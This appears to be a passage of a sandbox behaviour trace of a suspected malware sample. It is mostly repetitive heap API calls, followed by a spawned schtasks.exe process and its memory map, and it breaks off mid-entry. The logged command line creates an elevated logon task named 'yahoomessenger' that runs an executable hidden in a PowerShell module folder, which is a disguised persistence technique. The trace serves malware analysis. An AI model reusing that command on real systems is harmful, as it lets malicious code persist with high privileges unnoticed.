[0066.405] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc70 | out: hHeap=0x2d0000) returned 1 [0066.405] GetProcessHeap () returned 0x2d0000 [0066.405] GetProcessHeap () returned 0x2d0000 [0066.405] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d60) returned 1 [0066.405] GetProcessHeap () returned 0x2d0000 [0066.405] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d60) returned 0x20 [0066.406] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d60 | out: hHeap=0x2d0000) returned 1 [0066.406] GetProcessHeap () returned 0x2d0000 [0066.406] GetProcessHeap () returned 0x2d0000 [0066.406] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3e0) returned 1 [0066.406] GetProcessHeap () returned 0x2d0000 [0066.406] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec3e0) returned 0x14 [0066.406] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3e0 | out: hHeap=0x2d0000) returned 1 [0066.406] GetProcessHeap () returned 0x2d0000 [0066.406] GetProcessHeap () returned 0x2d0000 [0066.406] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3c0) returned 1 [0066.406] GetProcessHeap () returned 0x2d0000 [0066.406] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec3c0) returned 0x18 [0066.406] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3c0 | out: hHeap=0x2d0000) returned 1 [0066.406] GetProcessHeap () returned 0x2d0000 [0066.406] GetProcessHeap () returned 0x2d0000 [0066.406] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ca0) returned 1 [0066.406] GetProcessHeap () returned 0x2d0000 [0066.406] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ca0) returned 0x20 [0066.407] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ca0 | out: hHeap=0x2d0000) returned 1 [0066.407] GetProcessHeap () returned 0x2d0000 [0066.407] GetProcessHeap () returned 0x2d0000 [0066.407] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec400) returned 1 [0066.407] GetProcessHeap () returned 0x2d0000 [0066.407] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec400) returned 0x16 [0066.407] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec400 | out: hHeap=0x2d0000) returned 1 [0066.407] GetProcessHeap () returned 0x2d0000 [0066.407] GetProcessHeap () returned 0x2d0000 [0066.407] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec280) returned 1 [0066.407] GetProcessHeap () returned 0x2d0000 [0066.407] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec280) returned 0x18 [0066.407] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec280 | out: hHeap=0x2d0000) returned 1 [0066.407] GetProcessHeap () returned 0x2d0000 [0066.407] GetProcessHeap () returned 0x2d0000 [0066.408] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c70) returned 1 [0066.408] GetProcessHeap () returned 0x2d0000 [0066.408] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c70) returned 0x20 [0066.408] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c70 | out: hHeap=0x2d0000) returned 1 [0066.408] GetProcessHeap () returned 0x2d0000 [0066.408] GetProcessHeap () returned 0x2d0000 [0066.408] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbb0) returned 1 [0066.408] GetProcessHeap () returned 0x2d0000 [0066.408] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebbb0) returned 0x2 [0066.409] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbb0 | out: hHeap=0x2d0000) returned 1 [0066.409] GetProcessHeap () returned 0x2d0000 [0066.409] GetProcessHeap () returned 0x2d0000 [0066.409] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ac0) returned 1 [0066.409] GetProcessHeap () returned 0x2d0000 [0066.409] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ac0) returned 0x20 [0066.409] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ac0 | out: hHeap=0x2d0000) returned 1 [0066.409] GetProcessHeap () returned 0x2d0000 [0066.409] GetProcessHeap () returned 0x2d0000 [0066.409] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5af0) returned 1 [0066.409] GetProcessHeap () returned 0x2d0000 [0066.410] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5af0) returned 0x20 [0066.410] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5af0 | out: hHeap=0x2d0000) returned 1 [0066.410] GetProcessHeap () returned 0x2d0000 [0066.410] GetProcessHeap () returned 0x2d0000 [0066.410] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b20) returned 1 [0066.410] GetProcessHeap () returned 0x2d0000 [0066.410] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b20) returned 0x20 [0066.411] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b20 | out: hHeap=0x2d0000) returned 1 [0066.411] GetProcessHeap () returned 0x2d0000 [0066.411] GetProcessHeap () returned 0x2d0000 [0066.411] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b50) returned 1 [0066.411] GetProcessHeap () returned 0x2d0000 [0066.411] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b50) returned 0x20 [0066.412] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b50 | out: hHeap=0x2d0000) returned 1 [0066.412] GetProcessHeap () returned 0x2d0000 [0066.412] GetProcessHeap () returned 0x2d0000 [0066.412] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd40) returned 1 [0066.412] GetProcessHeap () returned 0x2d0000 [0066.412] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd40) returned 0x20 [0066.413] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd40 | out: hHeap=0x2d0000) returned 1 [0066.413] GetProcessHeap () returned 0x2d0000 [0066.413] GetProcessHeap () returned 0x2d0000 [0066.413] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed800) returned 1 [0066.413] GetProcessHeap () returned 0x2d0000 [0066.413] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed800) returned 0xe [0066.413] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed800 | out: hHeap=0x2d0000) returned 1 [0066.413] GetProcessHeap () returned 0x2d0000 [0066.413] GetProcessHeap () returned 0x2d0000 [0066.413] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd70) returned 1 [0066.413] GetProcessHeap () returned 0x2d0000 [0066.413] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd70) returned 0x20 [0066.414] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd70 | out: hHeap=0x2d0000) returned 1 [0066.414] GetProcessHeap () returned 0x2d0000 [0066.414] GetProcessHeap () returned 0x2d0000 [0066.414] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c50) returned 1 [0066.414] GetProcessHeap () returned 0x2d0000 [0066.414] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7c50) returned 0x30 [0066.415] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c50 | out: hHeap=0x2d0000) returned 1 [0066.415] GetProcessHeap () returned 0x2d0000 [0066.415] GetProcessHeap () returned 0x2d0000 [0066.415] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecda0) returned 1 [0066.415] GetProcessHeap () returned 0x2d0000 [0066.415] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecda0) returned 0x20 [0066.416] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecda0 | out: hHeap=0x2d0000) returned 1 [0066.416] GetProcessHeap () returned 0x2d0000 [0066.416] GetProcessHeap () returned 0x2d0000 [0066.416] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c90) returned 1 [0066.416] GetProcessHeap () returned 0x2d0000 [0066.416] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7c90) returned 0x30 [0066.416] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c90 | out: hHeap=0x2d0000) returned 1 [0066.416] GetProcessHeap () returned 0x2d0000 [0066.416] GetProcessHeap () returned 0x2d0000 [0066.416] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf50) returned 1 [0066.417] GetProcessHeap () returned 0x2d0000 [0066.417] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecf50) returned 0x20 [0066.417] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf50 | out: hHeap=0x2d0000) returned 1 [0066.417] GetProcessHeap () returned 0x2d0000 [0066.417] GetProcessHeap () returned 0x2d0000 [0066.417] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed720) returned 1 [0066.417] GetProcessHeap () returned 0x2d0000 [0066.418] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed720) returned 0xe [0066.418] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed720 | out: hHeap=0x2d0000) returned 1 [0066.418] GetProcessHeap () returned 0x2d0000 [0066.418] GetProcessHeap () returned 0x2d0000 [0066.418] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf20) returned 1 [0066.418] GetProcessHeap () returned 0x2d0000 [0066.418] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecf20) returned 0x20 [0066.418] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf20 | out: hHeap=0x2d0000) returned 1 [0066.418] GetProcessHeap () returned 0x2d0000 [0066.418] GetProcessHeap () returned 0x2d0000 [0066.418] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed740) returned 1 [0066.418] GetProcessHeap () returned 0x2d0000 [0066.418] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed740) returned 0x16 [0066.418] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed740 | out: hHeap=0x2d0000) returned 1 [0066.419] GetProcessHeap () returned 0x2d0000 [0066.419] GetProcessHeap () returned 0x2d0000 [0066.419] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecef0) returned 1 [0066.419] GetProcessHeap () returned 0x2d0000 [0066.419] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecef0) returned 0x20 [0066.419] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecef0 | out: hHeap=0x2d0000) returned 1 [0066.419] GetProcessHeap () returned 0x2d0000 [0066.419] GetProcessHeap () returned 0x2d0000 [0066.419] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed760) returned 1 [0066.419] GetProcessHeap () returned 0x2d0000 [0066.419] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed760) returned 0x16 [0066.419] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed760 | out: hHeap=0x2d0000) returned 1 [0066.419] GetProcessHeap () returned 0x2d0000 [0066.419] GetProcessHeap () returned 0x2d0000 [0066.419] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecec0) returned 1 [0066.419] GetProcessHeap () returned 0x2d0000 [0066.420] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecec0) returned 0x20 [0066.420] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecec0 | out: hHeap=0x2d0000) returned 1 [0066.420] GetProcessHeap () returned 0x2d0000 [0066.420] GetProcessHeap () returned 0x2d0000 [0066.420] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x306ee0) returned 1 [0066.420] GetProcessHeap () returned 0x2d0000 [0066.420] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x306ee0) returned 0x82 [0066.421] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x306ee0 | out: hHeap=0x2d0000) returned 1 [0066.421] GetProcessHeap () returned 0x2d0000 [0066.421] GetProcessHeap () returned 0x2d0000 [0066.421] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece90) returned 1 [0066.421] GetProcessHeap () returned 0x2d0000 [0066.421] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece90) returned 0x20 [0066.421] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece90 | out: hHeap=0x2d0000) returned 1 [0066.421] GetProcessHeap () returned 0x2d0000 [0066.421] GetProcessHeap () returned 0x2d0000 [0066.421] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7a0) returned 1 [0066.421] GetProcessHeap () returned 0x2d0000 [0066.421] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed7a0) returned 0xe [0066.422] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7a0 | out: hHeap=0x2d0000) returned 1 [0066.422] GetProcessHeap () returned 0x2d0000 [0066.422] GetProcessHeap () returned 0x2d0000 [0066.422] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece60) returned 1 [0066.422] GetProcessHeap () returned 0x2d0000 [0066.422] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece60) returned 0x20 [0066.422] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece60 | out: hHeap=0x2d0000) returned 1 [0066.422] GetProcessHeap () returned 0x2d0000 [0066.422] GetProcessHeap () returned 0x2d0000 [0066.422] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7c0) returned 1 [0066.422] GetProcessHeap () returned 0x2d0000 [0066.422] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed7c0) returned 0xa [0066.422] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7c0 | out: hHeap=0x2d0000) returned 1 [0066.422] GetProcessHeap () returned 0x2d0000 [0066.422] GetProcessHeap () returned 0x2d0000 [0066.422] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece30) returned 1 [0066.423] GetProcessHeap () returned 0x2d0000 [0066.423] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece30) returned 0x20 [0066.423] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece30 | out: hHeap=0x2d0000) returned 1 [0066.423] GetProcessHeap () returned 0x2d0000 [0066.423] GetProcessHeap () returned 0x2d0000 [0066.423] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7e0) returned 1 [0066.423] GetProcessHeap () returned 0x2d0000 [0066.423] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed7e0) returned 0xc [0066.423] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7e0 | out: hHeap=0x2d0000) returned 1 [0066.423] GetProcessHeap () returned 0x2d0000 [0066.423] GetProcessHeap () returned 0x2d0000 [0066.423] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece00) returned 1 [0066.423] GetProcessHeap () returned 0x2d0000 [0066.423] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece00) returned 0x20 [0066.424] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece00 | out: hHeap=0x2d0000) returned 1 [0066.424] GetProcessHeap () returned 0x2d0000 [0066.424] GetProcessHeap () returned 0x2d0000 [0066.424] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbd0) returned 1 [0066.424] GetProcessHeap () returned 0x2d0000 [0066.424] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebbd0) returned 0x18 [0066.424] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbd0 | out: hHeap=0x2d0000) returned 1 [0066.424] GetProcessHeap () returned 0x2d0000 [0066.424] GetProcessHeap () returned 0x2d0000 [0066.424] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b80) returned 1 [0066.424] GetProcessHeap () returned 0x2d0000 [0066.424] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b80) returned 0x20 [0066.425] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b80 | out: hHeap=0x2d0000) returned 1 [0066.425] GetProcessHeap () returned 0x2d0000 [0066.425] GetProcessHeap () returned 0x2d0000 [0066.425] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bb0) returned 1 [0066.425] GetProcessHeap () returned 0x2d0000 [0066.425] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5bb0) returned 0x20 [0066.425] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bb0 | out: hHeap=0x2d0000) returned 1 [0066.425] GetProcessHeap () returned 0x2d0000 [0066.425] GetProcessHeap () returned 0x2d0000 [0066.425] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5be0) returned 1 [0066.425] GetProcessHeap () returned 0x2d0000 [0066.425] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5be0) returned 0x20 [0066.426] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5be0 | out: hHeap=0x2d0000) returned 1 [0066.426] GetProcessHeap () returned 0x2d0000 [0066.426] GetProcessHeap () returned 0x2d0000 [0066.426] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c10) returned 1 [0066.426] GetProcessHeap () returned 0x2d0000 [0066.426] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c10) returned 0x20 [0066.426] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c10 | out: hHeap=0x2d0000) returned 1 [0066.426] GetProcessHeap () returned 0x2d0000 [0066.426] GetProcessHeap () returned 0x2d0000 [0066.426] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbf0) returned 1 [0066.426] GetProcessHeap () returned 0x2d0000 [0066.426] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebbf0) returned 0x18 [0066.426] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbf0 | out: hHeap=0x2d0000) returned 1 [0066.426] GetProcessHeap () returned 0x2d0000 [0066.427] GetProcessHeap () returned 0x2d0000 [0066.427] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c40) returned 1 [0066.427] GetProcessHeap () returned 0x2d0000 [0066.427] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c40) returned 0x20 [0066.427] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c40 | out: hHeap=0x2d0000) returned 1 [0066.427] GetProcessHeap () returned 0x2d0000 [0066.427] GetProcessHeap () returned 0x2d0000 [0066.427] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5cd0) returned 1 [0066.427] GetProcessHeap () returned 0x2d0000 [0066.427] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5cd0) returned 0x20 [0066.428] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5cd0 | out: hHeap=0x2d0000) returned 1 [0066.428] GetProcessHeap () returned 0x2d0000 [0066.428] GetProcessHeap () returned 0x2d0000 [0066.428] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d30) returned 1 [0066.428] GetProcessHeap () returned 0x2d0000 [0066.428] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d30) returned 0x20 [0066.428] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d30 | out: hHeap=0x2d0000) returned 1 [0066.428] GetProcessHeap () returned 0x2d0000 [0066.428] GetProcessHeap () returned 0x2d0000 [0066.428] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d90) returned 1 [0066.428] GetProcessHeap () returned 0x2d0000 [0066.428] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d90) returned 0x20 [0066.429] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d90 | out: hHeap=0x2d0000) returned 1 [0066.429] GetProcessHeap () returned 0x2d0000 [0066.429] GetProcessHeap () returned 0x2d0000 [0066.429] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5dc0) returned 1 [0066.429] GetProcessHeap () returned 0x2d0000 [0066.429] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5dc0) returned 0x20 [0066.429] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5dc0 | out: hHeap=0x2d0000) returned 1 [0066.429] GetProcessHeap () returned 0x2d0000 [0066.429] GetProcessHeap () returned 0x2d0000 [0066.429] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc10) returned 1 [0066.429] GetProcessHeap () returned 0x2d0000 [0066.429] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebc10) returned 0x18 [0066.430] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc10 | out: hHeap=0x2d0000) returned 1 [0066.430] GetProcessHeap () returned 0x2d0000 [0066.430] GetProcessHeap () returned 0x2d0000 [0066.430] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d00) returned 1 [0066.430] GetProcessHeap () returned 0x2d0000 [0066.430] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d00) returned 0x20 [0066.430] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d00 | out: hHeap=0x2d0000) returned 1 [0066.430] GetProcessHeap () returned 0x2d0000 [0066.430] GetProcessHeap () returned 0x2d0000 [0066.430] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb90) returned 1 [0066.430] GetProcessHeap () returned 0x2d0000 [0066.430] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebb90) returned 0x18 [0066.430] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb90 | out: hHeap=0x2d0000) returned 1 [0066.430] exit (_Code=0) Thread: id = 121 os_tid = 0xf5c Process: id = "21" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3bb2e000" os_pid = "0xf60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"yahoomessenger\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2425 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2426 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2427 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2428 start_va = 0x180000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2429 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2430 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2431 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2432 start_va = 0xffd70000 end_va = 0xffdb7fff monitored = 1 entry_point = 0xffd9966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2433 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2434 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2435 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2436 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2437 start_va = 0x200000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2438 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2439 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2440 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2441 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2442 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2443 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2444 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2445 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2446 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2447 start_va = 0x7feff6f0000 end_va = 